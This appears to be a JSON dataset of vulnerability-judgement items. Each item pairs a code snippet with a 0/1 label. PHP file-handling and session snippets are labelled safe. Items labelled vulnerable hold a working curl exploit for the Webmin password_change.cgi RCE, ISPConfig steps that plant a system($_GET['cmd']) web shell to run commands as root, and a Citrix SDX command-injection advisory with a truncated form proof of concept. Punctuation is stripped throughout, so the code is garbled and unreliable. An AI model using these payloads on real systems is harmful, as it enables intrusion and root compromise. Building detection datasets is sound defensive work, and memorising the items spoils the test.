[ { "instruction": "please judge the source code for vulnerabilities.", "input": "public function procreadfile(){ 中略 リクエストパラメタを取得 $param = $this>getparam(); リクエストパラメタからファイル名を取得 $filename = (string)$param[parent::FILENAME]; ファイル名がセットされている場合 if ((isset($filename)) && ($filename != quote>quote>)) { 商品登録ファイルへのパスを作成 $filePath = parent::GOODSFILEPATH. basename($filename); 後略", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " define(quote>FILEPATHquote>, quote>varwwwdttmplquote>); $pathAndOldname= FILEPATH . basename($GET[quote>oldnamequote>]); $pathAndNewname= FILEPATH . basename($GET[quote>newnamequote>]); $result=rename($pathAndOldname,$pathAndNewname); echo $result;?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " define(quote>FILEPATHquote>, quote>varwwwdttmplquote>); $pathAndOldname= FILEPATH . basename($GET[quote>oldnamequote>]); $newname=$GET[quote>newnamequote>]; $result=exec(quote>rename quote> . escapeshellarg($pathAndOldname). quote> quote> . escapeshellarg($newname, $output)); echo $output;?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "public function procrenamefile(){ 中略 変更前と変更後のファイル名が異なる場合 } else { 変更前ファイル名をパス付きで指定 $oldname = parent::GOODSFILEPATH. basename($oldname); 変更前ファイルが存在する場合 if (isfile($oldname)) { ファイル名を変更するコマンド実行 $newname = parent::GOODSFILEPATH. $newname; $result = rename($oldname, $newname); 後略", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " 一度セッションIDを作成していると、そのセッションIDで開始される sessionstart(); ログイン処理後 安全な値でセッションIDを再発行 sessionregenerateid(); $SESSION[quote>idquote>]=$POST[quote>idquote>];?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " 前略 sessiondestroy(); sessionstart(); sessionregenerateid(); 後略?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " sessionstart(); ログイン処理後 セッションIDの変更を行う sessionregenerateid(true); $SESSION[quote>idquote>]=$POST[quote>idquote>];?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " public function login() { $db = $this>getdb(); $param = $this>getparam(); $session = $this>getsession(); $stmt = $db>prepare(parent::LOGINSQL); $stmt>execute(array(parent::ID => $param[parent::ID], parent::PASSWORD => $param[parent::PASSWORD])); $user = $stmt>fetch(); if ($user) { ログイン成功後にセッションIDをリフレッシュする sessionregenerateid(); $this>setsession(ScenarioEnvironment::ENVIDNAME, quote>Webquote>); $this>setsession($this>getlogin(), $user); $this>setname(); return true; } else { $this>proclogout(); $this>setcontent(parent::WARNING3, true); $this>setcontent(parent::WARNING4, false); return false; } }?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " sessionstart(); ログイン処理後 sessionregenerateid(true); セッションを持たせてログインしていることが分かるようにする $SESSION[quote>idquote>]=$POST[quote>idquote>];?>", "output": "0" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "FLAG=quote>f3a0c13c3765137bcde68572707ae5c0quote>URI=$1;echo n quote>Testing for RCE (CVE201915107) on $URI: quote>;curl ks $URIquote>passwordchange.cgiquote> d quote>user=wheel&pam=&expired=2&old=id|echo quote>$FLAGquote>&new1=wheel&new2=wheelquote> H quote>Cookie: redirect=1; testing=1; sid=x; sessiontest=1;quote> H quote>ContentType: applicationxwwwformurlencodedquote> H quote>Referer: quote>$URIquote>sessionlogin.cgiquote>|grep $FLAG>devnull 2>&1if [ $? eq 0 ];thenecho quote>033[0;31mVULNERABLE!033[0mquote>elseecho quote>033[0;32mOK! (target is not vulnerable)033[0mquote>fi", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "While logged in as admin user:1) add a shell user2) under option set gid to ispconfig3) log in as that user4) edit usrlocalispconfiginterfaceliblangen.lng with system($GET[quote>cmdquote>]);5) browse to: http:server:8080index.php?cmd=echo tmpscript >>usrlocalispconfigserverserver.sh6) create tmpscript and put a command you wish to be executed as root.", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "AbstractSecurify discovered a command injection vulnerability in xenhotfix page of the NITRO SDK. The attackersupplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling applicationquote>s and data.Tested versionThis issue was discovered in Citrix NetScaler SDX svm10.5501.9, other versions may also be affected.FixCitrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.IntroductionThe Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a fullblown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A CrossSite Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.DetailsThis vulberability exists because the filename parameter submitted to the nitrov1configxenhotfix page used in a shell command without proper input validationsanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling applicationquote>s and data.The following proof of concept can be used to exploit this issue;
quote>https:SDXHOSTIPnitrov1configxenhotfixquote> method=quote>POSTquote>>quote>hiddenquote> name=quote>objectquote> value=quote>&quote>submitquote> value=quote>Submit requestquote> ><form>